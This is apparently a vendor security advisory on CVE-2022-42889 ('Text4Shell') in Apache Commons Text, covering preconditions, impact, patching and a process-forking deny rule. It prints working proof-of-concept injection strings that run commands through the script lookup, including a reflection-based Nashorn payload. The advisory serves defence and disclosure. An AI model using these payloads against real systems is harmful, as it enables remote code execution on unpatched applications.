Alvaro Munoz identified a vulnerability in Apache Commons Text on October 17, 2022, where StringSubstitutor, when used with the default interpolators StringSubstitutor.createInterpolator(), will perform string lookups that may lead to Remote Code Execution.
CVE-2022-42889 has a CVSS score of 9.8 out of 10, impacts Apache Commons Text versions 1.5 through 1.9, and has been patched in 1.10.
Despite the alarming nature of the vulnerability, there are definite caveats to exploitability. The following steps must be in place in sequential order to carry out the exploit:
- Usage of the default interpolators methods (
createInterpolator()
,replace()
,replaceIn()
) - that interpolate the variables as described in the flaw
- Use of external input for those methods
- Use of that external input has to be unsanitized
It’s possible to avoid the flaw by ensuring that any external inputs used with the abovementioned methods are properly sanitized.
The question is: Are you confident that your dependency tree doesn’t include these flaws? Because of this possibility, it’s essential that, as a community, we don’t panic but also patch this vulnerability.
What makes Apache Commons Text vulnerable?
Apache Commons Text performs variable interpolation through the StringSubstitutor
object like this:
StringSubstitutor interp = StringSubstitutor.createInterpolator();
Once you’ve instantiated an interpolator, it’s possible to manipulate data, allowing properties to evaluate and expand dynamically:
String str = "You have-> ${java:version}"; String rep = interp.replace(str); Example output: You have-> Java version 19 String str = "You are-> ${env:USER}"; String rep = interp.replace(str); Example output: You are-> doug
The standard format for interpolation is ${prefix:name}
, where “prefix” is used to locate an instance of org.apache.commons.text.lookup.StringLookup
that performs the interpolation.
So above, the replace()
method processes its input string, copying the characters one by one except for the characters that match the format for interpolation, reminiscent of Log4j.
In versions 1.5 through 1.9, the default lookups are:
script
: Executes expressions using the JVM script execution engine (ex.${script:javascript:3 + 4}
)dns
: Resolves DNS records (ex.${dns:address|apache.org}
)url
: Loads values from URLs, including those from remote servers (ex.${url:UTF-8:https://www.apache.org}
)
Because of this, if untrusted data flows into the StringSubstitutor.replace()
or StringSubstitutor.replaceIn()
methods, an attacker is able to use the ScriptStringLookup to trigger arbitrary code execution, as seen below:
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}"); System.out.println(out);
What is the reach?
By now, you’ve more than likely heard CVE-2022-42889 referred to by either “Text4shell” or “Act4shell” in the likeness of Log4shell. While Log4shell is still wreaking havoc on companies worldwide, more than earning its moniker, this vulnerability is fundamentally different.
In Log4Shell, string interpolation was possible from the log message body, which regularly contains untrusted input. In Apache Commons Text, the vulnerable method intentionally performs string interpolation.
Because of this intentionality, it is much less likely that applications would unintentionally pass in untrusted input without proper validation.
That said, due to the reach of Apache Commons Text, patching sooner rather than later is recommended.
Apache Commons Text is the number one string utility library for Java and is a dependency in 2,593 libraries such as:
- OpenCSV
- Apache Solr
- Neo4j
Furthermore, all versions of JDK are impacted, including JDK 15+. Alvaro Munoz created an updated POC that uses the JEXL engine as an exploit path.
If JEXL is present, the code executes successfully, meaning attackers can exploit the vulnerability on any JDK with a relevant engine.
This exploitability can lead to, but is not limited to, the following:
- Accidental leaking of the data in memory
- Triggering connections to external servers and services
- Exfiltration of data through Remote Code Execution
What’s the highest impact path for remediation?
If your applications have direct dependencies on Apache Commons Text, you should upgrade to the patched version (1.10.0), which disables vulnerable interpolators by default.
For COTS and other applications from vendors that package vulnerable implementations of Apache Commons Text, we recommend that you install patches as they become available from your vendors.
Waratek Customers
Some implementations of the vulnerability are inherently secured if you’ve enabled any of the following rules:
- Process Forking
- DNS
- Network
This inherent security is due to the exploits utilizing one of the three substitutions:
${dns:<payload>}
${url:<payload>}
${script:<payload>}
For JDK versions utilizing the Nashorn engine, the process forking rule is more than sufficient for the payloads supplied as Javascript code.
Process forking rule:
app("nashorn CVE-2022-42889"): requires(version: "ARMR/2.2") process("Deny any process execution"): execute("*") protect(message: "", severity: 7) endprocess endapp
Payload:
"function getIndexOfMethod(methodArray, methodName){\n" + " var count = 0;\n" + " for each (var method in methodArray){\n" + " if(method.toString() == methodName){\n" + " return count;\n" + " }\n" + " count++;\n" + " }\n" + " return null;\n" + "}\n" + " \n" + "// Modify the command\n" + "var command = \"touch /tmp/nashorn\";\n" + " \n" + "// Create an instance of class 'Class'\n" + "var obj = ''['class'];\n" + " \n" + "// Get the list of all the methods\n" + "var methods = obj.getClass().getMethods();\n" + " \n" + "// Find the index of 'forName()' method\n" + "var forNameString = \"public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException\";\n" + "var forNameMethodIndex = getIndexOfMethod(methods, forNameString);\n" + " \n" + "// Find the index of 'getRuntime()' method\n" + "var runTimeMethods = methods[forNameMethodIndex].invoke(null, 'java.lang.Runtime').getMethods();\n" + "var getRuntimeString = \"public static java.lang.Runtime java.lang.Runtime.getRuntime()\";\n" + "var getRunTimeMethodIndex = getIndexOfMethod(runTimeMethods, getRuntimeString);\n" + " \n" + "// Execute the command\n" + "runTimeMethods[getRunTimeMethodIndex].invoke(null).exec(command);");
To get the specific patch for CVE-2022-42889 visit the customer portal and upload the file to either the Management Console or the Portal.
Waratek customers can instantly patch the vulnerability in production without downtime or code changes through our Security-as-Code platform.